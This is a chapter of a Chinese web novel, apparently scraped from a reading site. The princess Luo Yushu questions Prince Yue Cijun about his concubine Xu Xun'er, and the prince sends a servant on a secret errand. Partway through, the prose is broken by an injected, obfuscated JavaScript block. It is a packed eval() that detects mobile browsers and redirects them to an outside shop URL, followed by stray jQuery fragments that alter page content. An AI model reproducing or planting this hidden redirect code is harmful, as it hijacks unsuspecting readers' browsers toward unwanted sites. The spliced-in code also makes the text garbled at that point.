16. 第16章

作品:《复仇黑莲花她一不小心称帝了

    这句“进来吧”对谁说的,廊下两人心知肚明。


    罗玉舒停下脚步,秦欣兰侧身,纸伞朝外,给她让出一条道。雪落上肩头,罗玉舒又拍了两下,抬手给秦欣兰也拍了下,十分自然地从主仆二人让开的道路走了过去。


    秦欣兰显然被她这一举动吓到,愣在原地。


    抬脚从廊下走进院内,越辞君已经从主屋里出来,引着罗玉舒从屋廊下过了石磡拱形院门,进了另一侧书房。


    “坐吧!”越辞君盛了两杯茶。


    罗玉舒接过来喝一口,香甜清新,和雪院放着的茶叶一样。


    那日她让小桃找茶叶时,就发现雪院小屋柜子里摆放整齐着几罐茶叶,香气扑鼻,有一个罐子打开着,瓶身很新,有经常抚摸的痕迹,瓶口遗留倒出茶叶的碎屑。


    她想,越辞君得空时,应当经常来雪院。


    雪院以前住着谁?她不得而知。


    “郡主身上的伤好了吗?”越辞君抿了口茶。


    书房案几旁放置的炭火嗞嗞冒火,他走过去,拿出炭夹夹了一块,丢进去,炭火发出轻微燃烧声音。


    屋子里很暖和,喝了茶,一扫方才从雪院过来的寒意。


    罗玉舒点点头,“好了。”


    入京已多日,蛮毒早已解决。


    蛮毒发作时她神志不清,问小桃怎么回事,小桃也说得不清不楚一直以来是越辞君在照顾她,罗玉舒起身微躬:“感谢五殿下送我进京解毒。”


    又往炭炉里扔了两块炭,越辞君坐回了位置上。


    两人四目相对,这是他们有史以来第一次在没有任何打扰情况下,坐在一起赏雪围炉。


    “郡主找我何事?”


    寒暄一番,他们这才进入正题。


    罗玉舒放下茶杯,“殿下,我想问一下,殿下纳徐薰儿是因为什么?”


    徐薰儿长相在北越还算不错,在外有个媲美慕容卿玉的名号——“北越才女”。


    罗玉舒在世的时候就听过这个名号,不知是她自封的还是别人夸耀的。


    大抵是她自诩的。


    “没有为什么。”他语气轻描淡写,似乎回答的是别人的事。


    她追问:“总有点原因吧!”


    越辞君抬头,他的眸中闪过兴味,问:“郡主对我的妾室感兴趣?”


    他在试探她。


    “并无,我单纯好奇。”


    “好的,我相信你只是好奇,”越辞君抿了口茶,嘴角噙着笑,“好奇到翻墙去看她。”


    这话说出来,若是男子,寓意不言而喻,可她是女子,就显得有些滑稽。


    “我可没有其他心思,你别想歪了。”罗玉舒赶紧解释。


    “我没想歪,郡主的意思,我明白。”越辞君放下茶杯。


    明不明白的,罗玉舒也不在意。她想告诉他,因为你那个妾室不像你表面所看到那样。


    还有关键一点,这次回来,她会找徐家算账,徐薰儿也在其中,若是报仇时连累越辞君,可别怪她不留情面。


    可转念一想,越辞君能被美色所迷惑,家中美妾不少,应该也不会相信她一个认识没几天的人,她说再多也无意。


    何况,一直以来都是她和徐薰儿事,是徐薰儿前世欠她的,自己的仇自己报。


    轻启的唇闭了闭,又张开:“我被她和另外几个姨娘整蛊,我心里不舒服,好奇她是个什么样的人。”


    “哦!可我得知,她们这几日生病都是拜郡主所赐。”越辞君撑着下巴,一副慵懒模样。


    明显不在乎她的说辞。


    看到越辞君一副满不在乎样子就来气,罗玉舒撑着腰站起来,指着他说:“五殿下,再怎样我也是南凌帝亲封的和亲郡主,怎地你家姨娘们全都来欺负我,我还不能反击了。”


    见她一脸气愤,越辞君眼睛亮了亮,转向另一个话题,“我听闻,郡主好像对外说是我府中最宠爱的六姨娘。”


    罗玉舒语塞,心虚道:“哪有,你听下人胡诌什么,我堂堂和亲郡主,怎么可能做姨娘,要做也得做正室……”


    还没说完,她一阵脸红脖子粗。


    从生下来她就没吵过几回架,更不会心平气和磨嘴皮子,只会使蛮力甩几鞭子,这也导致她被徐薰儿压制那么多年。


    “越辞君,”她气急败坏喊越辞君名字,喊完气消一点,声音缓和下来,“是徐薰儿带人先来雪院找茬,不信就算了。”


    说完,罗玉舒站起来就要走。


    “郡主,”越辞君喊了声,“头,还疼吗?”


    罗玉舒转过头,不去看他。


    “以后她们找麻烦,我不在府里,你可以去檀院找奶娘。”他说。


    “不用,我不惹事,也不怕事,谁再来找我麻烦,鞭子伺候。”


    前世她一商户之女都没让别人占多大便宜,今生作为和亲郡主,她更会保护好自己。


    说完,罗玉舒慢慢走出书房,步子踏到门口,她又停下来,没好气问道:“要不要帮你把秦姑娘叫回来?”


    房间里越辞君朱唇翕动:“那就麻烦郡主了。”


    这人还真是不客气。


    罗玉舒走出书房,见秦欣兰还等在竹院一道长廊下,她摆摆手示意人进去。


    秦欣兰微微欠身,抱着琴进了书房。


    未踏出竹院,身后响起一阵悠悠琴音,如潺潺流水,混合着屋外的小雪,有股山间清新味道。


    “五殿下未得召令提前回京,被陛下下令连续半月在校场练兵,又接管上京夜巡一职,已好几日未入眠,又听其他院子丫鬟说,五殿下常年杀敌,难以入睡,最喜秦姑娘的琴,每每都需秦姑娘的琴音方能入眠,看来是真的。”


    回到雪院,小桃架好炭炉,给罗玉舒斟了壶茶水。


    听师傅说,杀意重之人睡眠最是奢侈,因刀剑下魂夜夜来索命,会纠缠一生。


    师傅也是战场下来的,常常夜无眠,越辞君大抵也是如此。


    罗玉舒饮了口茶:“这些事你从哪里听来的?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328780|199112||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “秦姑娘的丫鬟南香说的。”小桃答。


    “那南香有没有说越辞君这几个姨娘的事。”她问。


    经她这段时间观察,越辞君几乎很少宿在壹园,就算宿在壹园,也不见他招姨娘侍寝。


    他分明对这几个姨娘也不是很上心,若是真爱,应当在她欺负姨娘们的时候,为她们出头才是。


    越辞君看起来不像是为了不得罪南凌国而会隐忍的人。


    “听说徐姨娘是自己送上门的,其他几个姨娘好像是谁谁送的,府里人嘴很严,很难打听到。”小桃说。


    其他姨娘罗玉舒不关心,就是徐薰儿她比较在意。


    徐薰儿自己送上门?


    她怎么不信。


    “小星,看我这件怎么样?”


    站在铜镜前,徐薰儿选了件亮色的黄衣,衣裳是铺子新送来的,她高兴地转了两圈。


    “小姐小心,小心身子。”见她差点撞上一旁的案几,丫鬟小星忙过来扶住。


    “你说他会喜欢吗?”徐薰儿兴奋地摆弄发簪。


    小星点点头,“会,小姐这么漂亮,谁见了都会喜欢。”


    挑出首饰匣最漂亮两支发簪,徐薰儿比对了一下,选了一支银色簪,插在发髻上,“这支好看吗?”


    小星点头。


    徐薰儿又选另一支比对,“这个呢?”


    “好看。”小星又点头。


    想到和表哥约好明日见面,徐薰儿便激动不已,“去给奶娘请出府的假了吗?”


    小星:“请了,奴说姑娘上次腹泻,身子还没好,不劳烦府里的大夫,要回徐家看看。”


    徐薰儿想到什么,担心道:“对了,五殿下回来了,殿下没说什么吧。”


    “没有,还是和以前一样,和奶娘说了就行,殿下知道也充耳不闻。”


    “好。”


    翌日。


    京中雪停,茫茫白色一片,行人裹上厚厚的衣裳举步艰难。


    侧门还没扫雪,只有零星几家店开门,有店主自扫门前雪。


    罗玉舒和小桃拖着脚步从侧门出去。


    等在侧门的马车见有人出来,行驶过去。


    小桃打着伞过去,和车夫说了两句,确定身份,车夫便让她们上了车。马车驶离,留下深深车轮印。


    “出门了?”


    书房里,越辞君放下毛笔,抬眼。


    卓横隔着屏风恭敬回答:“嗯,郡主从侧门走的。”


    笔架上的笔晃了晃,越辞君轻捻笔身使其减少晃动弧度,他又语:“卓横,你去帮我办件事。”


    “什么事?”卓横问。


    “附耳过来。”越辞君招手。


    卓横越过屏风走近,附耳倾听。


    听完,卓横面露疑色,却不敢置喙,直道:“属下遵命。”


    一个从未来过北越的人,有什么地方可去?她有什么目的?


    越辞君走后,桌案上遗留的宣纸上,写着偌大一个“玉”字。